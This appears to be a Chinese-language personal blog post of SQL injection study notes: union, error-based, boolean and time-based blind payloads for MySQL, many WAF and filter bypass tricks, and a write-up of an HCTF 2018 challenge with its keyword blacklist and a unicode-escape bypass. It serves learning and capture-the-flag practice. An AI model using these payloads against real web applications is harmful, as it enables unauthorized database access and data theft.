sql注入学习
前段时间因为spacevim的各种问题,把mac重装了,最后选择不用现成的配置,现在使用neovim,并用vim-plug管理插件。
整个博客也重新撘了一遍,最后决定就留下这一篇基础的sql注入总结的文章: )。
基础
information_schema数据库:
schemata表 存储用户创建的所有数据库的库名,记录数据库库名的字段名为SCHEMA_NAME。
tables表 存储用户创建的所有数据库的库名和表名,字段名分别为TABLE_SCHEMA、TABLE_NAME。
columns表 存储用户创建的所有数据库的库名、表名和字段名,字段名分别为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。
mysql5.5及以上版本开始,默认引擎为innodb。
mysql5.6及以上版本中,mysql库中有两个新表innodb_index_stats和innodb_table_stats。里面存放了新创建的数据库库名和表名,对应字段名分别为database_name和table_name。
database() 当前网站使用的数据库
version() 当前mysql的版本
user() 当前mysql的用户
注释
#
--空格
/**/
内联注释
/!**/
mysql字符串函数参考:https://www.jb51.net/article/87120.htm
数字型注入
1 | select * from table_name where id =1 |
字符型注入
1 | select * from table_name where id ='1'; |
union注入
判断字段数
1 | order by 2 # |
看回显
1 | union select 1,2 # |
如果回显第二位,则 :
1 | -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database(); # |
报错注入
基础语句
1 | and updatexml(1,concat(0x7e,(),0x7e),1) |
bool注入
基础语句
1 | 1' and length(database()) =4; # |
猜测表的个数
1 | 1' and (select count(table_name) from information_schema.tables where table_schema = database()) = 2; # |
猜表名
第一个表表名
1 | 1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 4; # |
时间盲注
基础语句
1 | if((),sleep(5),1) |
其他
二次注入、insert into注入……
一些绕过技巧
双写绕过
sselectelect
大小写绕过
Select
注释绕过
se/**/lect
内联注释
/!**/
url中的注释
#用%23
–+
–%20
=被过滤,用like或者regexp绕过
1 | select * from table_name where id = 1; |
逗号被过滤
时间盲注if(exp1,exp2,exp3) 不能用
类似if的用法
1 | case when (exp1) then (exp2) else (exp3) end |
substr((),1,1)=’{}’和substring不能用
可用from 1 for 1代替
1 | substr(() from {} for 1)='{}' |
limit 0,1不能用
可用1 offset 0代替
1 | select * from table_name limit 1 offset 0; |
select * from table_name union select 1,2,3; #不能用
可结合join语句和子查询的别名来代替
1 | select * from table_name union select * from ((select 1)a join (select 2)b join (select 3)c); |
空格被过滤
/**/
0x0a
0x0b
0x0c
0x0d
``反引号
()括号
‘单引号被过滤
hex绕过
1 | select * from table_name where id = 0x...; |
char()绕过
1 | select * from table_name where name = char(76,76); |
宽字节绕过
如果’单引号前加上\反斜杠被转义。当数据库编码gbk时,反斜杠%5c加上%df为繁体字
1 | // $id = 1%df'# |
<>被过滤
盲注中可能用到<>
1 | select * from table_name where id = 1 and ascii(substr(database(),2,1)) > 101; # |
用greatest()、least()绕过
1 | select * from table_name where id = 1 and greatest(ascii(substr(database(),2,1)),101)=101; // greatest()返回最大值 |
最近学习
最近看官方hctf2018 wp学习了一下,这里记录下。
里面有道本义是bool盲注的题,结果可利用json反序列化unicode绕过waf的漏洞。
php审计一下,发现漏洞点:
1 |
|
通过爆破发现$login_data[‘admin_pass’]=65时可以成功登陆。
所以可利用bool注入,通过登陆状态来判断语句是否正确。
审计时发现对$_GET、$_POST、$_COOKIE进行了过滤:
1 | $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|and|benchmark|like|regexp|if|=|-|<|>|\#|\s/i'; |
因为过滤了or所以不能用information_schema库来查询,可用innodb_table_stats和innodb_index_stats这两张表来查询表名。
脚本参考官方wp:https://bysec.io/hctf/writeup.html
但是这题可利用json_decode()解码unicode的特性实现时间盲注。
只要把被过滤的关键字部分字母替换成unicode编码即可。如:
1 | union = '\u00'+str(hex(ord('u')))[2:]+'nion' # \u0075nion |